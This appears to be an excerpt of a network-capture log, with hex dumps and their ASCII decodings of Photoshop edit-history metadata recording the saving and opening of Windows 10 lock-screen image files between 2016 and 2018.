2022-04-08 08:02:42 UTC199INData Raw: 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 43 72 6f 70 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 31 3a 30 36 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 34 3a 35 32 3a 34 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70
Data Ascii: -lizagh\MS\Windows10\Edge\Crops\Lockscreen_1920x1080_Landscape.psd saved&#xA;2016-07-26T11:06:34-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2016-07-26T14:52:42-07:00&#x9;File Lockscreen_1920x1080_Landscape.p
2022-04-08 08:02:42 UTC305INData Raw: 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 35 54 31 36 3a 31 30 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 45 78 74 72 61 34 30 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 34 30 5f 5f 35 30 30 70 78 2d 31 34 37 39 39 32 30 31 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 35 54 31 36 3a 31 34 3a 30 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73
Data Ascii: x1080_Landscape.psd opened&#xA;2016-09-15T16:10:41-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Extra40\Crops\Office40__500px-147992015_1920x1080.jpg saved&#xA;2016-09-15T16:14:02-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photos
2022-04-08 08:02:42 UTC337INData Raw: 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 34 39 43 45 36 31 41 33 35 44 34 38 32 35 42 30 39 39 42 36 34 30 30 33 36 44 41 38 37 32 38 38 34 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 30 54 32 32 3a 33 32 3a 32 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73
Data Ascii: sers\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape49CE61A35D4825B099B640036DA872884.psb saved&#xA;2016-11-10T22:32:21-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd s
2022-04-08 08:02:42 UTC385INData Raw: 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 38 36 36 37 38 39 30 31 5f 31 39 32 30 78 31 30 38 30 44 31 36 35 39 45 36 43 45 44 41 34 32 38 36 34 30 42 41 36 35 35 37 39 44 32 36 44 32 44 39 46 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 31 32 3a 33 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 38 36 36 37 38 39 30 31 5f 31 39 32 30 78 31 30 38 30 2d 52 65 63 6f 76 65 72 65 64 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 31 33 3a
Data Ascii: be\Adobe Photoshop CC 2015.5\AutoRecover\_Office_Skype_GettyImages-186678901_1920x1080D1659E6CEDA428640BA65579D26D2D9F.psb saved&#xA;2016-11-23T15:12:36-08:00&#x9;File Office_Skype_GettyImages-186678901_1920x1080-Recovered.psd opened&#xA;2016-11-23T15:13:
2022-04-08 08:02:42 UTC436INData Raw: 45 45 46 45 38 41 32 43 31 46 42 31 37 41 44 37 39 39 34 44 44 41 34 38 30 39 37 34 38 46 34 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 31 30 3a 35 34 3a 35 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4e 41 53 43 41 52 5c 46 65 62 72 75 61 72 79 5c 43 48 4f 53 45 4e 5c 4d 49 54 2d 4e 41 53 43 41 52 2d 46 65 62 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 33 30 32 30 34 36 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 31 31 3a 30 30 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76
Data Ascii: EEFE8A2C1FB17AD7994DDA4809748F4.psb saved&#xA;2017-01-30T10:54:54-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\NASCAR\February\CHOSEN\MIT-NASCAR-Feb_GettyImages-513020469_1920x1080.jpg saved&#xA;2017-01-30T11:00:49-08:00&#x9;File C:\Users\v
2022-04-08 08:02:42 UTC476INData Raw: 30 32 2d 32 36 54 31 33 3a 32 38 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 6f 6d 65 6e 73 4d 6f 6e 74 68 5c 43 48 4f 53 45 4e 5c 4d 49 54 5f 57 6f 6d 65 6e 73 48 69 73 74 6f 72 79 4d 6f 6e 74 68 5f 35 30 30 70 78 2d 39 30 35 38 39 33 30 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 36 54 31 33 3a 32 39 3a 34 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 6f 6d 65 6e 73 4d 6f 6e 74 68 5c 43 48 4f 53 45 4e 5c
Data Ascii: 02-26T13:28:50-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WomensMonth\CHOSEN\MIT_WomensHistoryMonth_500px-90589303_1920x1080.jpg saved&#xA;2017-02-26T13:29:42-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WomensMonth\CHOSEN\
2022-04-08 08:02:42 UTC547INData Raw: 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 36 54 31 34 3a 30 32 3a 31 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65
Data Ascii: le C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2017-03-16T14:02:14-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape
2022-04-08 08:02:42 UTC575INData Raw: 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 35 3a 32 34 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 37 31 34 34 32 39 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 35 3a 33 34 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69
Data Ascii: 579.psb saved&#xA;2017-04-12T15:24:26-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\BingAtWork_GettyImages-137144293_1920x1080.psd saved&#xA;2017-04-12T15:34:26-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\Bi
2022-04-08 08:02:42 UTC627INData Raw: 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 30 35 54 31 34 3a 32 33 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37
Data Ascii: ver\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2017-05-05T14:23:36-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B57
2022-04-08 08:02:42 UTC675INData Raw: 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 49 6e 73 69 64 65 72 5c 52 53 33 2d 52 65 52 65 63 72 75 69 74 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 49 6e 73 69 64 65 72 2d 52 53 33 2d 52 65 52 65 63 72 75 69 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 39 37 36 38 39 36 37 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 37 54 30 39 3a 32 31 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65
Data Ascii: \Users\v-lizagh\MS\Windows10\WindowsInsider\RS3-ReRecruit\Chosen\Crops\WindowsInsider-RS3-ReRecruit_GettyImages-497689676_1920x1080.jpg saved&#xA;2017-06-07T09:21:29-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecove
2022-04-08 08:02:42 UTC699INData Raw: 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 30 33 54 32 32 3a 35 33 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f
Data Ascii: 7:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2017-07-03T22:53:31-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_
2022-04-08 08:02:42 UTC738INData Raw: 30 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 35 36 3a 35 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 4d 4d 58 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 34 31 31 30 32 39 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 35 38 3a 30 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70
Data Ascii: 0.psb saved&#xA;2017-07-26T13:56:55-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\_CHOSEN\Crops\WindowsMMX_GettyImages-514110296_1920x1080.jpg saved&#xA;2017-07-26T13:58:04-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\_CHOSEN\Crop
2022-04-08 08:02:42 UTC778INData Raw: 43 30 32 34 37 32 45 33 31 45 45 31 41 46 37 41 35 30 42 46 45 43 45 43 30 34 41 32 33 37 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 37 3a 32 39 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 33 30 54 31 34 3a 33 34 3a 31 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 33 30 54 31 34 3a 33 35 3a
Data Ascii: C02472E31EE1AF7A50BFECEC04A237C.psb saved&#xA;2017-08-29T17:29:26-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2017-08-30T14:34:11-07:00&#x9;File Lockscreen_1920x1080_Landscape.psd opened&#xA;2017-08-30T14:35:
2022-04-08 08:02:42 UTC838INData Raw: 44 42 44 32 39 43 30 34 31 35 43 44 30 30 31 37 39 42 31 31 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 54 31 36 3a 31 39 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 46 61 6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 4f 63 74 6f 62 65 72 5c 5f 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 46 61 6c 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 34 30 37 31 35 37 35 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 54 31 36 3a 32 35 3a 35 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a
Data Ascii: DBD29C0415CD00179B11.psb saved&#xA;2017-09-25T16:19:34-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\FallEntertainment\October\_Chosen\Crops\Fall_GettyImages-840715750_1920x1080.jpg saved&#xA;2017-09-25T16:25:57-07:00&#x9;File C:\Users\v-liz
2022-04-08 08:02:42 UTC917INData Raw: 38 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 54 72 61 76 65 6c 5c 5f 42 69 6e 67 48 50 2d 50 72 65 76 69 6f 75 73 5c 43 72 6f 70 73 5c 42 69 6e 67 54 72 61 76 65 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 34 38 35 38 31 31 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 33 54 31 32 3a 31 32 3a 31 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 54 72 61 76 65 6c 5c 5f 42 69 6e 67 48 50 2d 50 72 65 76 69 6f 75 73 5c 43 72 6f 70 73 5c 42 69 6e 67 54 72 61 76 65 6c 5f
Data Ascii: 8:50-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Bing\Travel\_BingHP-Previous\Crops\BingTravel_GettyImages-474858115_1920x1080.jpg saved&#xA;2017-11-03T12:12:17-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Bing\Travel\_BingHP-Previous\Crops\BingTravel_
2022-04-08 08:02:42 UTC973INData Raw: 31 2d 53 65 72 76 69 63 69 6e 67 5c 52 41 57 53 5c 43 48 4f 53 45 4e 5c 57 69 6e 64 6f 77 73 2d 52 53 31 53 65 72 76 69 63 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 35 33 36 31 38 34 34 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 31 54 31 32 3a 33 33 3a 32 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 52 53 31 2d 53 65 72 76 69 63 69 6e 67 5c 52 41 57 53 5c 43 48 4f 53 45 4e 5c 57 69 6e 64 6f 77 73 2d 52 53 31 53 65 72 76 69 63 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 35 33 36 31 38 34 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23
Data Ascii: 1-Servicing\RAWS\CHOSEN\Windows-RS1Servicing_GettyImages-155361844_1920x1080.psd saved&#xA;2017-12-11T12:33:22-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\RS1-Servicing\RAWS\CHOSEN\Windows-RS1Servicing_GettyImages-155361844_1920x1080.jpg saved&#
2022-04-08 08:02:42 UTC981INData Raw: 31 37 2d 31 32 2d 32 30 54 31 32 3a 30 32 3a 33 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 4e 65 77 59 65 61 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 6f 72 74 61 6e 61 2d 4e 65 77 59 65 61 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 30 37 34 31 30 35 35 34 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 31 32 3a 30 33 3a 33 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 4e 65 77 59 65 61 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 6f 72 74 61
Data Ascii: 17-12-20T12:02:39-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Cortana\NewYear\CHOSEN\Crops\Cortana-NewYear_GettyImages-607410554_1920x1080.psd saved&#xA;2017-12-20T12:03:34-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Cortana\NewYear\CHOSEN\Crops\Corta
2022-04-08 08:02:42 UTC1029INData Raw: 37 31 33 39 39 35 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 31 37 54 30 39 3a 32 34 3a 33 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 53 6b 69 69 6e 67 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 53 6b 69 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 32 34 33 32 37 33 37 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 31 37 54 30 39 3a 32 35 3a 34 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77
Data Ascii: 7139954_1920x1080.jpg saved&#xA;2018-01-17T09:24:38-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\Skiing\CHOSEN\Crops\MIT-Skiing_GettyImages-824327376_1920x1080.jpg saved&#xA;2018-01-17T09:25:41-08:00&#x9;File C:\Users\v-lizagh\MS\Window
2022-04-08 08:02:42 UTC1093INData Raw: 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 33 54 31 33 3a 32 30 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 33 54 31 33 3a 32 32 3a 35 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 56 69 72 67 69 6e 47 61 6c 61 63 74 69
Data Ascii: e C:\Users\v-lizagh\MS\Windows10\__Templates\Lockscreen_1920x1080_Landscape.psd saved&#xA;2018-02-13T13:20:18-08:00&#x9;File Lockscreen_1920x1080_Landscape.psd opened&#xA;2018-02-13T13:22:53-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\VirginGalacti
